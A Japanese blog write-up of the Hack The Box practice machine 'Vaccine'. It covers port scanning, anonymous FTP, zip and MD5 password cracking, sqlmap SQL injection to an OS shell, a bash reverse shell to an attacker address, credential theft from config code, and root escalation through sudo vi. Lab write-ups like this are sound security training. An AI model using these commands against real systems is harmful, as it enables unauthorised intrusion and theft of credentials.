サムネイル

こんにちは。ゆーろんです。

今回は Hack The Boxにて提供されいる Starting Pointsの「Vaccine」に関する攻略方法を記載していきたいと思います。
初めてのWriteUpの記述となるので温かい目でご覧ください。

テクニック

テクニック説明
ネットワークサービススキャンNMAPによるポートスキャン
ZIPパスワードの解析zip2johnとjohntheripperによるパスワード解析
SQL/コマンドインジェクションSQLMapによるSQL/コマンドインジェクション
リバースシェルの確立nc/bashコマンドによるリバースシェルの確立

 

手順

スキャニング/列挙

Nmapによりポートスキャン

Nmapによりポートスキャンを行います。

sudo nmap -sC -sV 10.10.14.53 --open -p- -T3

上記コマンドにより仮想しているサービスは以下のように判明しました。

ポート番号サービス詳細
21/tcpftpvsftpd 3.0.3
22/tcpsshOpenSSH 8.0p1 Ubuntu 6ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcphttpApache httpd 2.4.41 ((Ubuntu))

 

FTP接続

ftpがanonymousログインできることがNMAPのスキャンで判明します。
ftpにanonymousログインを行います。

ftp 10.10.14.53

ログイン後、ls -alコマンドでbackup.zipが見つかるのでgetコマンドでダウンロードします。

get backup.zip

 

John The Ripperによるパスワード解析

入手したzipをunzipコマンドで解凍しようとするとパスワードを求められます。 そこでJohn the ripperを使い、パスワードクラックを行います。

# zipファイルのパスワードハッシュの作成
zip2john backup.zip > hast.txt
# rockyou.txtを用いてパスワード総当たり
john --wordlist=/usr/share/wordlist/rockyou.txt hash.txt

するとパスワードが741852963と判明します。 このパスワードで解凍を行います。

 

Md5の解析

するとindex.phpとstyle.cssを入手できます。
index.phpはターゲットに80ポートでアクセスした際の認証画面のコードだと推測できます。 このファイルのページ上部を見ると以下のように書かれています。

<?php
session_start();
  if(isset($_POST["username"]) && isset($_POST["password"])) {
    if($_POST["username"] === "admin" && md5($_POST["password"]) === "2cb42f8734ea607eefed3b70af13bbd3") {
      $_SESSION["login"] = "true";
      header("Location: dashboard.php");
    }
  }
?>

md5でハッシュ化したパスワードが2cb42f8734ea607eefed3b70af13bbd3のものと一致すると認証突破できそうです。 そこでcrackstationを利用して既存のレインボーテーブルを調べるとハッシュ化前のパスワードがqwerty789であると判明します。

 

侵入

画像1

ブラウザでターゲットにアクセスして、admin、qwerty789でアクセスするとカタログページが表示されます。 このページはDBを利用していることがわかるので、検索欄のクエリにエラーになるように’を追加して反応を調べます。

画像2

SQLMAPを使用してアクセスできそうです。
SQLインジェクションとOSコマンドインジェクションができるかSQLmapで試してみます。
認証ページアクセスのためCookieはブラウザのF12(開発者ツール)のストレージから入手します。

sqlmap -u "http://10.10.14.53/dashboard.php?search=aaa'" --cookie="PHPSESSID=r45ajjsna9sja8js8ak2Sh" --os-shell

無事にシェルにアクセスできました。

シェルにアクセスできたら、定番のリバースシェルを確立させます。 攻撃機のターミナルでnc -lnvp 4444で待ち受けを開始したら、sqlmapシェルの方で以下のように入力します。

bash -c "bash -i >& /dev/tcp/<攻撃機のIPアドレス>/4444 0>&1"

すると攻撃機でシェルを入手できます。 なお、安定化は定番のpython3 -c "import pty;pty.spawn("/bin/bash")"で行えます。

シェル入手後、ls -alコマンドでユーザフラグ(user.txt)を入手できます。

 

権限昇格

シェル入手後にdashboard.phpにアクセスできるので、catやtailコマンドなどで閲覧し DBへアクセスするためのユーザ名とパスワードである、postgresとP@s50rd!を入手できます。

sshコマンドでターゲットにアクセスします。

アクセスできたらsudo -lで利用可能なコマンドと権限の確認します。 すると/bin/vi /etc/postgresql/11/main/pg_hda.confが利用できるとあります。
つまりこのファイルから/bin/viコマンドを利用して権限昇格できる可能性が高いです。

sudo /bin/vi /etc/postgresql/11/main/pg_hda.conf

入力後、:shellと対話モードで入力するとrootの権限昇格ができました。
後はroot.txtを見つけるだけでrootフラグの入手は完了です。